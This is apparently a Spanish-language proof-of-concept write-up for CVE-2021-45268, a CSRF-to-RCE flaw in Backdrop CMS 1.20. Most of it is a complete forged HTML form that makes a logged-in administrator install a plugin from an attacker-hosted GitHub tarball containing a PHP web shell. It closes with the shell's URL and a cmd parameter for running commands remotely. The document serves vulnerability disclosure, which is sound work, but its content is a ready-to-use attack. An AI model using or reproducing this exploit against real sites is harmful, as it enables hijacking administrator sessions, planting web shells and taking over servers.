v1n1v131r4/csrf-to-rce-on-backdrop-cmsExploit de prueba de concepto de CSRF a RCE en Backdrop CMS 1.20 (CVE-2021-45268) mediante la subida de un plugin malicioso.
Este PoC describe cómo explotar CSRF en Backdrop CMS versión 1.20 con escalada a RCE.
La versión 1.20 de Backdrop CMS permite añadir plugins mediante archivos ZIP subidos al sitio. Y, debido a que no tiene protección anti-CSRF, es posible que un atacante cree un plugin con un archivo que permita la ejecución de comandos, lo aloje y, mediante una página falsificada, haga que el administrador del sitio suba este plugin con solo hacer clic en un enlace malicioso.
Usamos un plugin por defecto, disponible en la página del proyecto en GitHub, insertamos un archivo llamado shell.php, que contiene un fragmento de PHP que permite la ejecución remota de comandos, y proporcionamos este plugin falsificado en otro GitHub (https://github.com/V1n1v131r4/CSRF-to-RCE-on-Backdrop-CMS/releases/tag/backdrop).
Creamos una página HTML con un payload que obliga al sitio a instalar el plugin cuando se invoca desde el navegador. De esta manera, cuando el administrador del sitio acceda a ella, el archivo shell.php estará disponible para que el atacante lo utilice.
<html>
<body>
<form method="POST" action="http://example.com/backdrop/?q=system/ajax">
<input type="text" name="q" value="system/ajax">
<input type="text" name="Backdrop.tableDrag.showWeight" value="0">
<input type="text" name="SESSaca5a63f4c2fc739381fab7741d68783" value="4IVp_-QA9bzSPmMyXalKTNS3BNFTQnxJTw8t93Gi6c8">
<input type="text" name="bulk" value="">
<input type="text" name="project_url" value="https://github.com/V1n1v131r4/CSRF-to-RCE-on-Backdrop-CMS/releases/download/backdrop/reference.tar">
<input type="text" name="files[project_upload]" value="">
<input type="text" name="form_build_id" value="form-p-BrvXTDPqUhhAatHFr4d_dQKt6Dn5d-mIf4hwFyuJA">
<input type="text" name="form_token" value="aYigpmZz3OXNHnjJTO2Tu43IXMKyrMXvB2yL-4NFbTw">
<input type="text" name="form_id" value="installer_manager_install_form">
<input type="text" name="_triggering_element_name" value="op">
<input type="text" name="_triggering_element_value" value="Install">
<input type="text" name="ajax_html_ids[]" value="skip-link">
<input type="text" name="ajax_html_ids[]" value="main-content">
<input type="text" name="ajax_html_ids[]" value="installer-browser-filters-form">
<input type="text" name="ajax_html_ids[]" value="edit-search-text">
<input type="text" name="ajax_html_ids[]" value="edit-submit">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-bootstrap_lite">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-corporate_kiss">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-lateral">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-colihaut">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-shasetsu">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-borg">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-pelerine">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-cleanish">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-materialize">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-lumi">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-tatsu">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-mero">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-snazzy">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-afterlight_tribute">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-minicss">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-zurb_foundation_6">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-thesis">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-summer_fun">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-news_arrow">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-basis_contrib">
<input type="text" name="ajax_html_ids[]" value="installer-browser-manual-install-link">
<input type="text" name="ajax_html_ids[]" value="edit-link">
<input type="text" name="ajax_html_ids[]" value="admin-bar">
<input type="text" name="ajax_html_ids[]" value="admin-bar-wrapper">
<input type="text" name="ajax_html_ids[]" value="admin-bar-icon">
<input type="text" name="ajax_html_ids[]" value="admin-bar-menu">
<input type="text" name="ajax_html_ids[]" value="admin-bar-extra">
<input type="text" name="ajax_html_ids[]" value="admin-bar-search-items">
<input type="text" name="ajax_html_ids[]" value="ui-id-1">
<input type="text" name="ajax_html_ids[]" value="backdrop-modal">
<input type="text" name="ajax_html_ids[]" value="installer-manager-install-form">
<input type="text" name="ajax_html_ids[]" value="edit-bulk-wrapper">
<input type="text" name="ajax_html_ids[]" value="edit-bulk">
<input type="text" name="ajax_html_ids[]" value="edit-project-url-wrapper">
<input type="text" name="ajax_html_ids[]" value="edit-project-url">
<input type="text" name="ajax_html_ids[]" value="edit-project-upload-wrapper">
<input type="text" name="ajax_html_ids[]" value="edit-project-upload">
<input type="text" name="ajax_html_ids[]" value="edit-actions">
<input type="text" name="ajax_html_ids[]" value="edit-submit--2">
<input type="text" name="ajax_page_state[theme]" value="seven">
<input type="text" name="ajax_page_state[theme_token]" value="RY9h420qjWmejTKFp7C0ytS__FtpWnVmEjVCnHWFblo">
<input type="text" name="ajax_page_state[css][core/misc/normalize.css]" value="1">
<input type="text" name="ajax_page_state[css][core/modules/system/css/system.css]" value="1">
<input type="text" name="ajax_page_state[css][core/modules/system/css/system.theme.css]" value="1">
<input type="text" name="ajax_page_state[css][core/modules/system/css/messages.theme.css]" value="1">
<input type="text" name="ajax_page_state[css][core/modules/system/css/system.admin.css]" value="1">
<input type="text" name="ajax_page_state[css][core/modules/layout/css/grid-flexbox.css]" value="1">
<input type="text" name="ajax_page_state[css][core/modules/contextual/css/contextual.css]" value="1">
<input type="text" name="ajax_page_state[css][core/modules/comment/css/comment.css]" value="1">
<input type="text" name="ajax_page_state[css][core/modules/date/css/date.css]" value="1">
<input type="text" name="ajax_page_state[css][core/modules/field/css/field.css]" value="1">
<input type="text" name="ajax_page_state[css][core/modules/search/search.theme.css]" value="1">
<input type="text" name="ajax_page_state[css][core/modules/user/css/user.css]" value="1">
<input type="text" name="ajax_page_state[css][core/modules/views/css/views.css]" value="1">
<input type="text" name="ajax_page_state[css][core/modules/admin_bar/css/admin_bar.css]" value="1">
<input type="text" name="ajax_page_state[css][core/modules/admin_bar/css/admin_bar-print.css]" value="1">
<input type="text" name="ajax_page_state[css][core/layouts/boxton/boxton.css]" value="1">
<input type="text" name="ajax_page_state[css][core/modules/installer/css/installer.css]" value="1">
<input type="text" name="ajax_page_state[css][core/themes/seven/css/seven.base.css]" value="1">
<input type="text" name="ajax_page_state[css][core/themes/seven/css/style.css]" value="1">
<input type="text" name="ajax_page_state[css][core/themes/seven/css/responsive-tabs.css]" value="1">
<input type="text" name="ajax_page_state[css][core/misc/opensans/opensans.css]" value="1">
<input type="text" name="ajax_page_state[css][core/misc/ui/jquery.ui.core.css]" value="1">
<input type="text" name="ajax_page_state[css][core/misc/ui/jquery.ui.button.css]" value="1">
<input type="text" name="ajax_page_state[css][core/misc/ui/jquery.ui.draggable.css]" value="1">
<input type="text" name="ajax_page_state[css][core/misc/ui/jquery.ui.resizable.css]" value="1">
<input type="text" name="ajax_page_state[css][core/misc/ui/jquery.ui.dialog.css]" value="1">
<input type="text" name="ajax_page_state[css][core/misc/dialog.theme.css]" value="1">
<input type="text" name="ajax_page_state[css][core/misc/ui/jquery.ui.theme.css]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/html5.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/jquery.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/jquery-extend-3.4.0.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/jquery-html-prefilter-3.5.0.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/jquery.once.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/backdrop.js]" value="1">
<input type="text" name="ajax_page_state[js][core/modules/layout/js/grid-fallback.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ajax.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/jquery.form.js]" value="1">
<input type="text" name="ajax_page_state[js][core/modules/contextual/js/contextual.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/form.js]" value="1">
<input type="text" name="ajax_page_state[js][core/modules/admin_bar/js/admin_bar.js]" value="1">
<input type="text" name="ajax_page_state[js][core/modules/installer/js/installer.project_list.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/progress.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/tableheader.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/dismiss.js]" value="1">
<input type="text" name="ajax_page_state[js][core/themes/seven/js/script.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.data.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.disable-selection.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.form.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.labels.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.scroll-parent.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.tabbable.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.unique-id.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.version.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.escape-selector.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.focusable.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.form-reset-mixin.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.ie.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.keycode.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.plugin.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.safe-active-element.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.safe-blur.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.widget.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/textarea.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.button.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.mouse.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/jquery.ui.touch-punch.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.draggable.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.position.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.resizable.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.dialog.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/dialog.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/dialog.ajax.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/collapse.js]" value="1">
<input type="submit" value="Send">
</form>
</body>
</html>
Ejecuta en tu navegador: http://example.com/backdrop/modules/reference/shell.php?cmd=[command] para ejecutar comandos remotos.